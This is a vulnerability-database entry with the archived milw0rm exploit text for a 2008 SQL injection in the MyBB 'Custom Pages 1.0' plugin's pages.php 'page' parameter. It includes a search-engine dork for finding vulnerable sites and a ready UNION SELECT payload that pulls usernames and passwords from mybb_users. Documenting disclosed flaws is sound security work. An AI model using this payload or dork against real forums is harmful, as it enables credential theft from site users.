MyBulletin Board (MyBB) Plugin "Custom Pages 1.0" - SQL Injection Vulnerability

vendor:

MyBB

by:

Lidloses_Auge

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: MyBB

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE: N/A

CPE: a:mybb:mybb:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

MyBulletin Board (MyBB) Plugin “Custom Pages 1.0” – SQL Injection Vulnerability

MyBulletin Board (MyBB) Plugin "Custom Pages 1.0" is vulnerable to a SQL Injection vulnerability. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'page' GET parameter of the 'pages.php' script. An attacker can exploit this vulnerability to gain access to sensitive information from the database, such as username and password. The success rate of the attack depends on the permissions set for viewing the 'page' parameter.

Mitigation:

Input validation should be used to ensure that untrusted data is not allowed into the application. All input data should be validated and filtered for malicious content.

Source

Exploit-DB raw data:

###################################################################################
#										  #
# MyBulletin Board (MyBB) Plugin "Custom Pages 1.0" - SQL Injection Vulnerability #
#										  #
#    found by: Lidloses_Auge 							  #
#    Greetz to: free-hack.com							  #
#										  #
###############################################################################################################################################
#																	      #
# Vulnerability:															      #
#																	      #
#    Document:      pages.php														      #
#    GET-Parameter: page														      #
#																	      #
# Dork:																	      #
#																	      #
#    inurl:"pages.php" + intext:"powered by mybb"											      #
#																	      #
# Example:																      #
#																	      #
#    http://[target]/pages.php?page='union/**/select/**/1,unhex(hex(concat_ws(0x202d20,username,password))),3,4,5,6,7/**/FROM/**/mybb_users/* #
#																	      #
# Notes:																      #
#																	      #
#    Successrate depends on the permissions which could be set for viewing the 'page'						              #
#																	      #
###############################################################################################################################################

# milw0rm.com [2008-04-06]